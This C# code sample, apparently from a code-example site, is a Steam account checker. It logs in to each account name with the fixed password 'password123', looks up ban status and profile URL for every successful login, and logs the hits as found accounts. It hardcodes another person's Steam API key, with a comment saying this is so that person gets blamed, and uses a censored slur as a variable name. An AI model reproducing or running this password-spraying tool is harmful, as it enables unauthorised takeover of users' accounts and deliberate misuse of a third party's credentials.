Exemple #1
0
        public static Config.UserInfo RetrieveInfo(string username, string password)
        {
            Class1.Username        = username;
            Class1.Password        = password;
            Class1.steamClient     = new SteamClient(ProtocolType.Tcp);
            Class1.callbackManager = new CallbackManager(Class1.steamClient);
            Class1.steamUser       = Class1.steamClient.GetHandler <SteamUser>();
            Class1.callbackManager.Subscribe <SteamClient.ConnectedCallback>(new Action <SteamClient.ConnectedCallback>(Class1.IsConnected));
            Class1.callbackManager.Subscribe <SteamClient.DisconnectedCallback>(new Action <SteamClient.DisconnectedCallback>(Class1.IsDisconnected));
            Class1.callbackManager.Subscribe <SteamUser.LoggedOnCallback>(new Action <SteamUser.LoggedOnCallback>(Class1.LogIn));
            Class1.callbackManager.Subscribe <SteamUser.LoggedOffCallback>(new Action <SteamUser.LoggedOffCallback>(Class1.LogOff));
            Class1.Running = true;

            // SteamDirectory
            SteamDirectory.Initialize(0u).Wait();
            Class1.steamClient.Connect(null);
            while (Class1.Running)
            {
                Class1.callbackManager.RunWaitCallbacks(TimeSpan.FromSeconds(3.0));
            }
            Config.UserInfo UserInfo = new Config.UserInfo();
            UserInfo.status  = Class1.statusStr;
            UserInfo.steamid = Convert.ToString(Class1.steamid);
            Class1.steamClient.Disconnect();

            return(UserInfo);
        }
        private bool IsSteamAccGood(string accountname)
        {
            var accounts = new Config.Account();

            //retrieve the good stuff ;)
            Config.UserInfo UserInfo = Class1.RetrieveInfo(accountname, "password123");
            if (UserInfo.steamid.Length > 5)
            {
                using (WebClient webClient = new WebClient())
                {
                    try
                    {
                        //lets use rezonans api key so we know whos to blame
                        Config.RootObject rootObject = (JObject.Parse(webClient.DownloadString("https://api.steampowered.com/ISteamUser/GetPlayerBans/v0001/?steamids=" + UserInfo.steamid + "&key=2FD6A7B83C334E2CE65868A38A6F3F6E")).Values().First <JToken>() as JArray).First <JToken>().ToObject <Config.RootObject>();

                        accounts.email = accountname;

                        string h**o;
                        h**o             = GetSteamId(UserInfo.steamid);
                        accounts.steamid = h**o;

                        //ghett9
                        string geturl = webClient.DownloadString(string.Format("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?steamids=" + UserInfo.steamid + "&key=2FD6A7B83C334E2CE65868A38A6F3F6E&format=xml"));
                        if (geturl.Contains("profileurl"))
                        {
                            string url = GetStringBetween(geturl, "<profileurl>", "</profileurl>");
                            accounts.url = url;
                        }

                        Console.BackgroundColor = ConsoleColor.Blue;
                        Console.ForegroundColor = ConsoleColor.White;
                        Console.WriteLine("Found account: {0} {1} {2}", accounts.email, accounts.steamid, accounts.url);
                        Console.ResetColor();
                        Log.Write(accounts);
                        AccountsFound++;
                    }
                    catch
                    {
                        //catch exception
                    }
                }
            }
            return(true);
        }